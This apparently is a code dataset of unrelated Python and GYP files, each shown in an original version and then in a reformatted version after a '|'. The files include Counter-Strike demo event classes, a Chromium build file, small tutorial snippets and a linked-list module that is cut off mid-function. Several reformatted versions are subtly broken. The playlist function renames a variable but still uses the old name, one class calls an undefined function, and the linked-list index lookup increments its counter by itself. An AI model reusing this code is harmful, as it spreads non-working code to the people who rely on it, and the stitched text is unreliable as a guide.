attacker_id=0,
attacker_x_viz=0,
attacker_y_viz=0,
attacker_name="",
attacker_side="",
victim_id=0,
victim_x_viz=0,
victim_y_viz=0,
victim_name="",
victim_side="",
):
self.tick = tick
self.sec = sec
self.attacker_id = attacker_id
self.attacker_x_viz = attacker_x_viz
self.attacker_y_viz = attacker_y_viz
self.attacker_name = attacker_name
self.attacker_side = attacker_side
self.victim_id = victim_id
self.victim_x_viz = victim_x_viz
self.victim_y_viz = victim_y_viz
self.victim_name = victim_name
self.victim_side = victim_side
class ItemPickup:
""" Detail a ItemPickup event
Attributes:
tick (int) : Game tick at time of kill
sec (float) : Seconds since round start
player_x_viz (float) : Player's X position for visualization
player_y_viz (float) : Player's Y position for visualization
player_view_x (float) : Player's X view
player_view_y (float) : Player's Y view
player_area_id (int) : Player's area id from nav file
player_area_name (int) : Player's area name from nav file
player_id (int) : Player's steam id
player_name (int) : Player's username
player_team (string) : Player's team/clan name
player_side (string) : Player's side (T or CT)
weapon_id (int) : Weapon id
"""
def __init__(
self,
tick=0,
sec=0,
player_id=0,
player_name="",
player_x_viz=0,
player_y_viz=0,
player_side="",
weapon_pickup="",
):
self.tick = tick
self.sec = sec
self.player_id = player_id
self.player_name = player_name
self.player_x_viz = player_x_viz
self.player_y_viz = player_y_viz
self.player_side = player_side
self.weapon_pickup = weapon_pickup
| class Playerinfo:
"""
Detail a Granade event
Attributes:
tick (int) : Game tick at time of kill
sec (float) : Seconds since round start
player_id (int) : Player's steamID
player_name (int) : Player's username
player_x_viz (float) : Player's X position for visualization
player_y_viz (float) : Player's Y position for visualization
player_side (string) : Player's side (T or CT)
player_money (int) : Player's money
player_health (int) : Player's health
player_armor (int) : Player's armor value
player_weapon (string) : Player's active weapon
"""
def __init__(self, tick=0, sec=0, player_id=0, player_name='', player_x_viz=0, player_y_viz=0, player_side='', player_x_view=0, player_money=0, player_health=0, player_armor=0, player_weapon=''):
self.tick = tick
self.sec = sec
self.player_id = player_id
self.player_name = player_name
self.player_x_viz = player_x_viz
self.player_y_viz = player_y_viz
self.player_side = player_side
self.player_x_view = player_x_view
self.player_money = player_money
self.player_health = player_health
self.player_armor = player_armor
self.player_weapon = player_weapon
class Grenade:
"""
Detail a Granade event
Attributes:
tick (int) : Game tick at time of kill
sec (float) : Seconds since round start
player_x_viz (float) : Player's X position for visualization
player_y_viz (float) : Player's Y position for visualization
player_name (int) : Player's username
player_side (string) : Player's side (T or CT)
nade_id (int) : nade uniqueID (until it gets destroyed)
nade_x_viz (float) : nade X position for visualization
nade_y_viz (float) : nade Y position for visualization
nade_type (int) : nade type (smoke, HE, ...)
nade_info (string) : nade info (create, destroy, air)
nade_area_name (int) : nade area name from nav file
"""
def __init__(self, tick=0, sec=0, player_id=0, player_x_viz=0, player_y_viz=0, player_name='', player_side='', nade_id=0, nade_x_viz=0, nade_y_viz=0, nade_type='', nade_info='', nade_area_name=''):
self.tick = tick
self.sec = sec
self.player_id = player_id
self.player_x_viz = player_x_viz
self.player_y_viz = player_y_viz
self.player_name = player_name
self.player_side = player_side
self.nade_id = nade_id
self.nade_x_viz = nade_x_viz
self.nade_y_viz = nade_y_viz
self.nade_type = nade_type
self.nade_info = nade_info
self.nade_area_name = nade_area_name
class Bombevent:
"""
Detail a Bomb Plant/Defuse event
Attributes:
tick (int) : Game tick at time of event
sec (float) : Seconds since round start
player_name (string): Player's username
player_id (int) : Player's steam id
team (string) : Player's team/clan name
x (float) : X position of bomb event
y (float) : Y position of bomb event
z (float) : Z position of bomb event
area_id (int) : Location of event as nav file area id
bomb_site (string) : Bomb site (A or B)
event_type (string) : Plant, defuse, explode
"""
def __init__(self, tick=0, sec=0, player_x_viz=0, player_y_viz=0, player_id=0, player_name='', bomb_site='', bomb_info=''):
self.tick = tick
self.sec = sec
self.player_x_viz = player_x_viz
self.player_y_viz = player_y_viz
self.player_id = player_id
self.player_name = player_name
self.bomb_site = bomb_site
self.bomb_info = bomb_info
class Round:
""" Detail a CSGO round
Attributes:
map_name (string) : Round's map
start_tick (int) : Tick on ROUND START event
end_tick (int) : Tick on ROUND END event
end_ct_score (int) : Ending CT score
end_t_score (int) : Ending T score
start_t_score (int) : Starting T score
start_ct_score (int) : Starting CT score
round_winner_side (string) : T/CT for round winner
round_winner (string) : Winning team name
round_loser (string) : Losing team name
reason (int) : Corresponds to how the team won (defuse, killed other team, etc.)
ct_cash_spent_total (int) : CT total cash spent by this point of the game
ct_cash_spent_round (int) : CT total cash spent in current round
ct_eq_val (int) : CT equipment value at end of freezetime
t_cash_spent_total (int) : T total cash spent by this point of the game
t_cash_spent_round (int) : T total cash spent in current round
t_eq_val (int) : T equipment value at end of freezetime
ct_round_type (string) : CT round buy type
t_round_type (string) : T round buy type
bomb_plant_tick : Bomb plant tick
bomb_events (list) : List of BombEvent objects
damages (list) : List of Damage objects
kills (list) : List of Kill objects
footstep (list) : List of Footstep objects
grenades (list) : List of Grenade objects
"""
def __init__(self, map_name='', start_tick=0, end_tick=0, end_ct_score=0, end_t_score=0, start_ct_score=0, start_t_score=0, round_winner_side='', round_winner='', round_loser='', reason=0, ct_cash_spent_total=0, ct_cash_spent_round=0, ct_eq_val=0, t_cash_spent_total=0, t_cash_spent_round=0, t_eq_val=0, ct_round_type='', t_round_type='', bomb_plant_tick=0, end_freezetime=0, players=[], kills=[], damages=[], footsteps=[], bomb_events=[], grenades=[], current_itemPickup=[], current_playerInfo=[]):
self.map_name = map_name
self.start_tick = start_tick
self.end_tick = end_tick
self.end_ct_score = end_ct_score
self.end_t_score = end_t_score
self.start_ct_score = start_ct_score
self.start_t_score = start_t_score
self.round_winner_side = round_winner_side
self.round_winner = round_winner
self.round_loser = round_loser
self.end_freezetime = end_freezetime
self.reason = reason
self.players = players
self.kills = kills
self.damages = damages
self.footsteps = footsteps
self.bomb_events = bomb_events
self.grenades = grenades
self.ct_cash_spent_total = ct_cash_spent_total
self.ct_cash_spent_round = ct_cash_spent_round
self.ct_eq_val = ct_eq_val
self.t_cash_spent_total = t_cash_spent_total
self.t_cash_spent_round = t_cash_spent_round
self.t_eq_val = t_eq_val
self.ct_round_type = ct_round_type
self.t_round_type = t_round_type
self.bomb_plant_tick = bomb_plant_tick
self.current_itemPickup_list = current_itemPickup
self.current_playerInfo = current_playerInfo
if self.round_winner_side == 'CT':
self.start_ct_score = self.end_ct_score - 1
self.start_t_score = self.start_t_score
if self.round_winner_side == 'T':
self.start_ct_score = self.end_ct_score
self.start_t_score = self.start_t_score - 1
class Kill:
""" Detail a kill event
Attributes:
tick (int) : Game tick at time of kill
sec (float) : Seconds since round start
victim_x_viz (float) : Victim's X position for visualization
victim_y_viz (float) : Victim's Y position for visualization
victim_view_x (float) : Victim's X view
victim_view_y (float) : Victim's Y view
victim_area_name (int) : Victim's area name from nav file
attacker_x_viz (float) : Attacker's X position for visualization
attacker_y_viz (float) : Attacker's Y position for visualization
attacker_view_x (float) : Attacker's X view
attacker_view_y (float) : Attacker's Y view
attacker_area_name (int) : Attacker's area name from nav file
assister_x_viz (float) : Assister's X position for visualization
assister_y_viz (float) : Assister's Y position for visualization
assister_view_x (float) : Assister's X view
assister_view_y (float) : Assister's Y view
assister_area_name (int) : Assister's area name from nav file
victim_id (int) : Victim's steam id
victim_name (string) : Victim's username
victim_side (string) : Victim's side (T or CT)
victim_team_eq_val (int) : Victim team's starting equipment value
attacker_id (int) : Attacker's steam id
attacker_name (int) : Attacker's username
attacker_side (string) : Attacker's side (T or CT)
attacker_team_eq_val (int): Attacker team's starting equipment value
assister_id (int) : Assister's steam id
assister_name (int) : Assister's username
assister_side (string) : Assister's side (T or CT)
weapon_id (int) : Weapon id
is_wallshot (boolean) : If kill was a wallshot then 1, 0 otherwise
is_flashed (boolean) : If kill victim was flashed then 1, 0 otherwise
is_headshot (boolean) : If kill was a headshot then 1, 0 otherwise
"""
def __init__(self, tick=0, sec=0, victim_x_viz=0, victim_y_viz=0, victim_view_x=0, victim_view_y=0, victim_area_name='', attacker_x_viz=0, attacker_y_viz=0, attacker_view_x=0, attacker_view_y=0, attacker_area_name='', assister_x_viz=0, assister_y_viz=0, assister_view_x=0, assister_view_y=0, assister_area_name='', victim_id=0, victim_name='', victim_side='', attacker_id=0, attacker_name='', attacker_side='', assister_id=0, assister_name='', assister_side='', weapon_id=0, is_wallshot=False, is_flashed=False, is_headshot=False):
self.tick = tick
self.sec = sec
self.attacker_id = attacker_id
self.attacker_name = attacker_name
self.attacker_side = attacker_side
self.attacker_x_viz = attacker_x_viz
self.attacker_y_viz = attacker_y_viz
self.attacker_view_x = attacker_view_x
self.attacker_view_y = attacker_view_y
self.attacker_area_name = attacker_area_name
self.victim_id = victim_id
self.victim_name = victim_name
self.victim_side = victim_side
self.victim_x_viz = victim_x_viz
self.victim_y_viz = victim_y_viz
self.victim_view_x = victim_view_x
self.victim_view_y = victim_view_y
self.victim_area_name = victim_area_name
self.assister_id = assister_id
self.assister_name = assister_name
self.assister_side = assister_side
self.assister_x_viz = assister_x_viz
self.assister_y_viz = assister_y_viz
self.assister_view_x = assister_view_x
self.assister_view_y = assister_view_y
self.assister_area_name = assister_area_name
self.weapon_id = weapon_id
self.is_wallshot = is_wallshot
self.is_flashed = is_flashed
self.is_headshot = is_headshot
class Damage:
""" Detail a damage event
Attributes:
tick (int) : Game tick at time of kill
sec (float) : Seconds since round start
victim_x_viz (float) : Victim's X position for visualization
victim_y_viz (float) : Victim's Y position for visualization
victim_view_x (float) : Victim's X view
victim_view_y (float) : Victim's Y view
victim_area_name (int) : Victim's area name from nav file
attacker_x_viz (float) : Attacker's X position for visualization
attacker_y_viz (float) : Attacker's Y position for visualization
attacker_view_x (float) : Attacker's X view
attacker_view_y (float) : Attacker's Y view
attacker_area_name (int) : Attacker's area name from nav file
victim_id (int) : Victim's steam id
victim_name (string) : Victim's username
victim_side (string) : Victim's side (T or CT)
attacker_id (int) : Attacker's steam id
attacker_name (int) : Attacker's username
attacker_side (string) : Attacker's side (T or CT)
hp_damage (int) : HP damage dealt
kill_hp_damage (int) : HP damage dealt normalized to 100.
armor_damage (int) : Armor damage dealt
weapon_id (int) : Weapon id
hit_group (int) : Hit group
"""
def __init__(self, tick=0, sec=0, victim_x_viz=0, victim_y_viz=0, victim_view_x=0, victim_view_y=0, victim_area_name='', attacker_x_viz=0, attacker_y_viz=0, attacker_view_x=0, attacker_view_y=0, attacker_area_name='', victim_id=0, victim_name='', victim_side='', attacker_id=0, attacker_name='', attacker_side='', hp_damage=0, kill_hp_damage=0, armor_damage=0, weapon_id=0, hit_group=0):
self.tick = tick
self.sec = sec
self.victim_x_viz = victim_x_viz
self.victim_y_viz = victim_y_viz
self.victim_view_x = victim_view_x
self.victim_view_y = victim_view_y
self.victim_area_name = victim_area_name
self.attacker_x_viz = attacker_x_viz
self.attacker_y_viz = attacker_y_viz
self.attacker_view_x = attacker_view_x
self.attacker_view_y = attacker_view_y
self.attacker_area_name = attacker_area_name
self.victim_id = victim_id
self.victim_name = victim_name
self.victim_side = victim_side
self.attacker_id = attacker_id
self.attacker_name = attacker_name
self.attacker_side = attacker_side
self.hp_damage = hp_damage
self.kill_hp_damage = kill_hp_damage
self.armor_damage = armor_damage
self.weapon_id = weapon_id
self.hit_group = hit_group
class Flashed:
""" Detail a Flashed event
Attributes:
tick (int) : Game tick at time of kill
sec (float) : Seconds since round start
attacker_x_viz (float) : Attacker's X position for visualization
attacker_y_viz (float) : Attacker's Y position for visualization
attacker_name (string) : Attacker's Name
attacker_team (string) : Attacker's team/clan name
attacker_side (string) : Attacker's side (T or CT)
victim_x_viz (float) : Victim's X position for visualization
victim_y_viz (float) : Victim's Y position for visualization
victim_name (string) : Victim's Name
victim_team (string) : Victim's team/clan name
victim_side (string) : Victim's side (T or CT)
"""
def __init__(self, tick=0, sec=0, attacker_id=0, attacker_x_viz=0, attacker_y_viz=0, attacker_name='', attacker_side='', victim_id=0, victim_x_viz=0, victim_y_viz=0, victim_name='', victim_side=''):
self.tick = tick
self.sec = sec
self.attacker_id = attacker_id
self.attacker_x_viz = attacker_x_viz
self.attacker_y_viz = attacker_y_viz
self.attacker_name = attacker_name
self.attacker_side = attacker_side
self.victim_id = victim_id
self.victim_x_viz = victim_x_viz
self.victim_y_viz = victim_y_viz
self.victim_name = victim_name
self.victim_side = victim_side
class Itempickup:
""" Detail a ItemPickup event
Attributes:
tick (int) : Game tick at time of kill
sec (float) : Seconds since round start
player_x_viz (float) : Player's X position for visualization
player_y_viz (float) : Player's Y position for visualization
player_view_x (float) : Player's X view
player_view_y (float) : Player's Y view
player_area_id (int) : Player's area id from nav file
player_area_name (int) : Player's area name from nav file
player_id (int) : Player's steam id
player_name (int) : Player's username
player_team (string) : Player's team/clan name
player_side (string) : Player's side (T or CT)
weapon_id (int) : Weapon id
"""
def __init__(self, tick=0, sec=0, player_id=0, player_name='', player_x_viz=0, player_y_viz=0, player_side='', weapon_pickup=''):
self.tick = tick
self.sec = sec
self.player_id = player_id
self.player_name = player_name
self.player_x_viz = player_x_viz
self.player_y_viz = player_y_viz
self.player_side = player_side
self.weapon_pickup = weapon_pickup |
# Copyright (c) 2011 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
{
'includes': [
'../../build/common.gypi',
],
'target_defaults': {
'variables': {
'chromium_code': 1,
'version_py_path': '../../chrome/tools/build/version.py',
'version_path': 'VERSION',
},
'include_dirs': [
'../..',
],
'libraries': [
'userenv.lib',
],
'sources': [
'win/port_monitor/port_monitor.cc',
'win/port_monitor/port_monitor.h',
'win/port_monitor/port_monitor.def',
],
},
'conditions': [
['OS=="win"', {
'targets' : [
{
'target_name': 'gcp_portmon',
'type': 'loadable_module',
'dependencies': [
'../../base/base.gyp:base',
],
'msvs_guid': 'ED3D7186-C94E-4D8B-A8E7-B7260F638F46',
},
{
'target_name': 'gcp_portmon64',
'type': 'loadable_module',
'defines': [
'<@(nacl_win64_defines)',
],
'dependencies': [
'../../base/base.gyp:base_nacl_win64',
],
'msvs_guid': '9BB292F4-6104-495A-B415-C3E314F46D6F',
'configurations': {
'Common_Base': {
'msvs_target_platform': 'x64',
},
},
},
{
'target_name': 'virtual_driver_unittests',
'type': 'executable',
'msvs_guid': '97F82D29-58D8-4909-86C8-F2BBBCC4FEBF',
'dependencies': [
'../../base/base.gyp:base',
'../../base/base.gyp:test_support_base',
'../../testing/gmock.gyp:gmock',
'../../testing/gtest.gyp:gtest',
],
'sources': [
# Infrastructure files.
'../../base/test/run_all_unittests.cc',
'win/port_monitor/port_monitor_unittest.cc'
],
},
],
},
],
]
}
# Local Variables:
# tab-width:2
# indent-tabs-mode:nil
# End:
# vim: set expandtab tabstop=2 shiftwidth=2:
| {'includes': ['../../build/common.gypi'], 'target_defaults': {'variables': {'chromium_code': 1, 'version_py_path': '../../chrome/tools/build/version.py', 'version_path': 'VERSION'}, 'include_dirs': ['../..'], 'libraries': ['userenv.lib'], 'sources': ['win/port_monitor/port_monitor.cc', 'win/port_monitor/port_monitor.h', 'win/port_monitor/port_monitor.def']}, 'conditions': [['OS=="win"', {'targets': [{'target_name': 'gcp_portmon', 'type': 'loadable_module', 'dependencies': ['../../base/base.gyp:base'], 'msvs_guid': 'ED3D7186-C94E-4D8B-A8E7-B7260F638F46'}, {'target_name': 'gcp_portmon64', 'type': 'loadable_module', 'defines': ['<@(nacl_win64_defines)'], 'dependencies': ['../../base/base.gyp:base_nacl_win64'], 'msvs_guid': '9BB292F4-6104-495A-B415-C3E314F46D6F', 'configurations': {'Common_Base': {'msvs_target_platform': 'x64'}}}, {'target_name': 'virtual_driver_unittests', 'type': 'executable', 'msvs_guid': '97F82D29-58D8-4909-86C8-F2BBBCC4FEBF', 'dependencies': ['../../base/base.gyp:base', '../../base/base.gyp:test_support_base', '../../testing/gmock.gyp:gmock', '../../testing/gtest.gyp:gtest'], 'sources': ['../../base/test/run_all_unittests.cc', 'win/port_monitor/port_monitor_unittest.cc']}]}]]} |
# -*- coding: utf-8 -*-
'''Snippets for string.
Available functions:
- to_titlecase: Convert the character string to titlecase.
'''
def to_titlecase(s: str) -> str:
'''For example:
>>> 'Hello world'.title()
'Hello World'
Args:
str: String excluding apostrophes in contractions and possessives
form word boundaries.
Returns:
A titlecased version of the string where words start with an
uppercase character and the remaining characters are lowercase.
See:
https://docs.python.org/3.6/library/stdtypes.html#str.title
'''
return s.title()
| """Snippets for string.
Available functions:
- to_titlecase: Convert the character string to titlecase.
"""
def to_titlecase(s: str) -> str:
"""For example:
>>> 'Hello world'.title()
'Hello World'
Args:
str: String excluding apostrophes in contractions and possessives
form word boundaries.
Returns:
A titlecased version of the string where words start with an
uppercase character and the remaining characters are lowercase.
See:
https://docs.python.org/3.6/library/stdtypes.html#str.title
"""
return s.title() |
t = int(input())
for t_itr in range(t):
n = int(input())
count = 0
for i in range(n+1):
if i%2 == 0:
count+=1
else:
count*=2
print(count)
| t = int(input())
for t_itr in range(t):
n = int(input())
count = 0
for i in range(n + 1):
if i % 2 == 0:
count += 1
else:
count *= 2
print(count) |
# DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER
# Copyright (c) 2018 Juniper Networks, Inc.
# All rights reserved.
# Use is subject to license terms.
#
# Author: cklewar
class AMQPMessage(object):
# ------------------------------------------------------------------------
# property: message_type
# ------------------------------------------------------------------------
@property
def message_type(self):
"""
:returns: message_type defines action to be done when received through message bus
"""
return self.__message_type
# ------------------------------------------------------------------------
# property: data
# ------------------------------------------------------------------------
@property
def payload(self):
"""
:returns: data contains message payload
"""
return self.__payload
@payload.setter
def payload(self, value):
self.__payload = value
# ------------------------------------------------------------------------
# property: source
# ------------------------------------------------------------------------
@property
def source(self):
"""
:returns: the message sender
"""
return self.__source
def __init__(self, message_type=None, payload=None, source=None):
"""
:param message_type:
:param message:
:param source:
"""
self.__message_type = message_type
self.__payload = payload
self.__source = source
| class Amqpmessage(object):
@property
def message_type(self):
"""
:returns: message_type defines action to be done when received through message bus
"""
return self.__message_type
@property
def payload(self):
"""
:returns: data contains message payload
"""
return self.__payload
@payload.setter
def payload(self, value):
self.__payload = value
@property
def source(self):
"""
:returns: the message sender
"""
return self.__source
def __init__(self, message_type=None, payload=None, source=None):
"""
:param message_type:
:param message:
:param source:
"""
self.__message_type = message_type
self.__payload = payload
self.__source = source |
class DaemonEvent(object):
def __init__(self, name, params) -> None:
super().__init__()
self.name = name
self.params = params
@classmethod
def from_json(cls, json):
return DaemonEvent(json["event"], json["params"])
| class Daemonevent(object):
def __init__(self, name, params) -> None:
super().__init__()
self.name = name
self.params = params
@classmethod
def from_json(cls, json):
return daemon_event(json['event'], json['params']) |
# -*- coding: utf-8 -*-
"""
@author: salimt
"""
#Problem 3
#20.0/20.0 points (graded)
#You are creating a song playlist for your next party. You have a collection of songs that can be represented as a list of tuples. Each tuple has the following elements:
#name: the first element, representing the song name (non-empty string)
#song_length: the second, element representing the song duration (float >= 0)
#song_size: the third, element representing the size on disk (float >= 0)
#You want to try to optimize your playlist to play songs for as long as possible while making sure that the songs you pick do not take up more than a given amount of space on disk (the sizes should be less than or equal to the max_disk_size).
#You decide the best way to achieve your goal is to start with the first song in the given song list. If the first song doesn't fit on disk, return an empty list. If there is enough space for this song, add it to the playlist.
#For subsequent songs, you choose the next song such that its size on disk is smallest and that the song hasn't already been chosen. You do this until you cannot fit any more songs on the disk.
#Write a function implementing this algorithm, that returns a list of the song names in the order in which they were chosen, with the first element in the list being the song chosen first. Assume song names are unique and all the songs have different sizes on disk and different durations.
#You may not mutate any of the arguments.
#For example,
#If songs = [('Roar',4.4, 4.0),('Sail',3.5, 7.7),('Timber', 5.1, 6.9),('Wannabe',2.7, 1.2)] and max_size = 12.2, the function will return ['Roar','Wannabe','Timber']
#If songs = [('Roar',4.4, 4.0),('Sail',3.5, 7.7),('Timber', 5.1, 6.9),('Wannabe',2.7, 1.2)] and max_size = 11, the function will return ['Roar','Wannabe']
# Paste your entire function (including the definition) in the box. Do not import anything. Do not leave any debugging print statements.
# Paste your code here
def song_playlist(songs, max_size):
"""
songs: list of tuples, ('song_name', song_len, song_size)
max_size: float, maximum size of total songs that you can fit
Start with the song first in the 'songs' list, then pick the next
song to be the one with the lowest file size not already picked, repeat
Returns: a list of a subset of songs fitting in 'max_size' in the order
in which they were chosen.
"""
temp = []
temp.append(songs[0])
max_size -= songs[0][2]
songs_sorted = (sorted(songs, reverse=True, key=lambda x: x[2]))
if max_size < 0:
return []
for i, song in enumerate(songs_sorted):
weightB = songs_sorted[-(i+1)][2]
if weightB <= max_size and songs_sorted[-(i+1)] not in temp:
max_size -= weightB
temp.append(songs_sorted[-(i+1)])
names = []
for name in range(len(temp)):
names.append(temp[name][0])
return names
songs = [('Roar',4.4, 4.0),('Sail',3.5, 7.7),('Timber', 5.1, 6.9),('Wannabe',2.7, 1.2)]
max_size = 12.2
print(song_playlist(songs, max_size)) #['Roar','Wannabe','Timber']
print(song_playlist([('a', 4.0, 4.4), ('b', 7.7, 3.5), ('c', 6.9, 5.1), ('d', 1.2, 2.7)], 12.3)) #['a', 'd', 'b']
print(song_playlist([('a', 4.4, 4.0), ('b', 3.5, 7.7), ('c', 5.1, 6.9), ('d', 2.7, 1.2)], 20)) #['a', 'd', 'c', 'b'] | """
@author: salimt
"""
def song_playlist(songs, max_size):
"""
songs: list of tuples, ('song_name', song_len, song_size)
max_size: float, maximum size of total songs that you can fit
Start with the song first in the 'songs' list, then pick the next
song to be the one with the lowest file size not already picked, repeat
Returns: a list of a subset of songs fitting in 'max_size' in the order
in which they were chosen.
"""
temp = []
temp.append(songs[0])
max_size -= songs[0][2]
songs_sorted = sorted(songs, reverse=True, key=lambda x: x[2])
if max_size < 0:
return []
for (i, song) in enumerate(songs_sorted):
weight_b = songs_sorted[-(i + 1)][2]
if weightB <= max_size and songs_sorted[-(i + 1)] not in temp:
max_size -= weightB
temp.append(songs_sorted[-(i + 1)])
names = []
for name in range(len(temp)):
names.append(temp[name][0])
return names
songs = [('Roar', 4.4, 4.0), ('Sail', 3.5, 7.7), ('Timber', 5.1, 6.9), ('Wannabe', 2.7, 1.2)]
max_size = 12.2
print(song_playlist(songs, max_size))
print(song_playlist([('a', 4.0, 4.4), ('b', 7.7, 3.5), ('c', 6.9, 5.1), ('d', 1.2, 2.7)], 12.3))
print(song_playlist([('a', 4.4, 4.0), ('b', 3.5, 7.7), ('c', 5.1, 6.9), ('d', 2.7, 1.2)], 20)) |
#func-with-var-args.py
def addall(*nums):
ttl=0
for num in nums:
ttl=ttl+num
return ttl
total=addall(10,20,50,70)
print ('Total of 4 numbers:',total)
total=addall(11,34,43)
print ('Total of 3 numbers:',total)
| def addall(*nums):
ttl = 0
for num in nums:
ttl = ttl + num
return ttl
total = addall(10, 20, 50, 70)
print('Total of 4 numbers:', total)
total = addall(11, 34, 43)
print('Total of 3 numbers:', total) |
seq=[1,2,3,4,5]
for item in seq:
print (item);
print ("Hello")
i=1
while i<5:
print('i is :{}',format(i)) #i is always smaller than 5
i=i+1 #otherwise inifite loop
for x in seq:
print(x)
for x in range(0,5):
print(x) #short way to do the loop
list(range(10))
x=[1,2,3,4]
out=[]
for num in x:
out.append(num**2) #quickly create a list
#the other way
out=[num**2 for num in x]
#[things need to append]
print(out)
#functions
def my_func(param1):
print(param1)
#call the function
my_func('Hello')
def my_name(name):
print("Hello"+name)
#call function
my_name(name='Ling')
my_name('Ling') #for executing the function
def square(num):
return num**2
output=square(2) #return needs to store it to some variables
def square(num):
"""
This is a sentence
"""
return num**2
#shift tap to get function
| seq = [1, 2, 3, 4, 5]
for item in seq:
print(item)
print('Hello')
i = 1
while i < 5:
print('i is :{}', format(i))
i = i + 1
for x in seq:
print(x)
for x in range(0, 5):
print(x)
list(range(10))
x = [1, 2, 3, 4]
out = []
for num in x:
out.append(num ** 2)
out = [num ** 2 for num in x]
print(out)
def my_func(param1):
print(param1)
my_func('Hello')
def my_name(name):
print('Hello' + name)
my_name(name='Ling')
my_name('Ling')
def square(num):
return num ** 2
output = square(2)
def square(num):
"""
This is a sentence
"""
return num ** 2 |
"""Singly linked list. """
class SinglyLinkedListException(Exception):
""" Base class for linked list module.
This will make it easier for future modifications
"""
class SinglyLinkedListIndexError(SinglyLinkedListException):
""" Invalid/Out of range index"""
def __init__(self, message="linked list index out of range"):
super().__init__(message)
self.message = message
class SinglyLinkedListEmptyError(SinglyLinkedListException):
""" Empty Linked List"""
def __init__(self, message="linked list has no nodes"):
super().__init__(message)
self.message = message
class Node: # pylint: disable=too-few-public-methods
"""Class representing a node in a linked list"""
def __init__(self, data):
self.data = data
self.next = None
class SinglyLinkedList:
"""Linked list class representing a collection of linked nodes"""
def __init__(self):
self.head = None
def insert_head(self, data):
""" Insert an node at the begenning of the linked list"""
new_node = Node(data)
if self.head:
new_node.next = self.head
self.head = new_node
else:
self.head = new_node
def insert_end(self, data):
"""Insert an element at the end of the linked list"""
# create a new node
new_node = Node(data)
# if SinglyLinkedList is not empty or if head exists, iterate and
# link the newly created node with current last node
if self.head:
# start with first node and then iterate
last_node = self.head
# 'next' will be empty for current last node
while last_node.next:
last_node = last_node.next
# link current last node with newly created node
last_node.next = new_node
else:
# if list is empty
self.head = new_node
def insert_at(self, data, index):
""" Insert a node at the specified index starting from 0"""
if index < 0 or index > self.list_length():
raise SinglyLinkedListIndexError("Unable to insert at index " +
str(index) +
" : Invalid Position")
if index == 0:
self.insert_head(data)
else:
current_node = self.head
new_node = Node(data)
i = 1
while i < index:
current_node = current_node.next
i += 1
temp = current_node.next
current_node.next = new_node
new_node.next = temp
del temp
def delete_end(self):
""" Delete a node from the end of linked list"""
if not self.head:
raise SinglyLinkedListEmptyError("Unable to delete "
"from empty list")
if self.head.next is None:
self.head = None
else:
# get last node and delete it
# (remove all references to that object)
current_node = self.head
previous_node = None
while current_node.next is not None:
previous_node = current_node
current_node = current_node.next
del current_node
previous_node.next = None
def delete_head(self):
"""Remove the first node of the linked list"""
if self.head is None:
raise SinglyLinkedListEmptyError("Unable to delete head from"
" empty linked list")
# if only one element
if self.head.next is None:
self.head = None
else:
self.head = self.head.next
# index starts at 0
def delete_at(self, index):
"""Remove the node at the specified index(starting from 0)
from the linked list
"""
if self.head is None:
raise SinglyLinkedListEmptyError("Unable to delete head from"
" empty linked list")
if index < 0:
raise SinglyLinkedListIndexError("Index cannot be negative")
if index >= self.list_length():
raise SinglyLinkedListIndexError("Index={0} is out of range"
" for list length={1}"
.format(index,
self.list_length()
)
)
if index == 0:
self.delete_head()
# index starts at 0
elif index == self.list_length() - 1:
self.delete_end()
else:
i = 1
current_node = self.head
previous_node = None
while i <= index:
previous_node = current_node
current_node = current_node.next
i += 1
previous_node.next = current_node.next
del current_node
def print_elements(self):
"""Print data in all nodes in the linked list"""
print('')
if self.head:
current_node = self.head
while current_node:
print(current_node.data)
if current_node.next:
current_node = current_node.next
else:
break
else:
print("The list is empty!")
def list_length(self):
"""Returns the number of nodes in the linked list"""
length = 0
current_node = self.head
while current_node is not None:
length += 1
current_node = current_node.next
return length
def __get_cycle_meet_node(self):
"""
Return Node where slow(Tortoise or t) and fast(Hare or h) pointers meet
(Floyd's cycle detection algorithm)
If no cycle, return None
"""
if self.head is None:
raise SinglyLinkedListEmptyError("Empty linked list")
# single element linkedlist with 'next' None cannot have a cycle
if self.head.next is None:
return None
hare = tortoise = self.head
while (tortoise is not None) and (tortoise.next is not None):
hare = hare.next
tortoise = tortoise.next.next
if hare is tortoise:
return hare
# if no meeting node in the linkedlist, return None
return None
def cycle_present(self):
"""Return True is a cycle is detected in the linked list,
else retruns False
"""
return bool(self.__get_cycle_meet_node())
# TODO: get cycle start node
def remove_cycle(self):
"""Removes cycle(if present in the linked list"""
if self.cycle_present():
# Floyd's cycle detection algorithm - to find starting
# index of cycle. Point Hare to element at cycle_meet_index
# and Tortoise to head element and move them at same speed
tortoise = self.head
hare = self.__get_cycle_meet_node()
# For circular linked list(special case of linkedlist),
# hare = meeting_node = head = tortoise
# For this edge case, the second while loop will not get executed
# So, get last element of linkedlist and set it as initial
# value of previous_hare
if hare is self.head:
previous_hare = self.head
while previous_hare.next is not self.head:
previous_hare = previous_hare.next
while hare is not tortoise:
previous_hare = hare
tortoise = tortoise.next
hare = hare.next
# at this point, hare = tortoise = cycle start node
# remove the cycle by setting next pointer of last element to None
previous_hare.next = None
else:
pass
def get_node_at_index(self, index):
"""Return node at specified index, starting from 0"""
if self.head is None:
raise SinglyLinkedListEmptyError("Empty linked list")
if index < 0:
raise SinglyLinkedListIndexError("Index out of range: "
"{0}".format(index))
if index >= self.list_length():
raise SinglyLinkedListIndexError("Index={0} out of range for "
"list length={1}"
.format(index,
self.list_length())
)
current_node = self.head
i = 0
while i < index:
current_node = current_node.next
i += i
return current_node
def __check_indices_for_swap(self, index1, index2):
""" Sanity checks for function swap_nodes_at_indices.
This to avoid pylint error R0912 for
function swap_nodes_at_indices().
R0912: Too many branches (17/12) (too-many-branches).
"""
if self.head is None:
raise SinglyLinkedListEmptyError("Empty linked list")
if index1 < 0:
raise SinglyLinkedListIndexError("Invalid index: {0}"
.format(index1))
if index2 < 0:
raise SinglyLinkedListIndexError("Invalid index: {0}"
.format(index2))
if index1 >= self.list_length():
raise SinglyLinkedListIndexError("Index={0} out of range for"
" list length={1}"
.format(index1,
self.list_length())
)
if index2 >= self.list_length():
raise SinglyLinkedListIndexError("Index={0} out of range for"
" list length={1}"
.format(index2,
self.list_length())
)
# TODO: write a function to check if list is empty and throw exception
# TODO: different exception classses for different edge cases
def swap_nodes_at_indices(self, index1, index2):
"""Swaps two nodes (specified using indices) of the linked list.
Retrun True, if swap success or if swap not required
"""
# if both indices are same, no need to swap
if index1 == index2:
return True
# if only one element
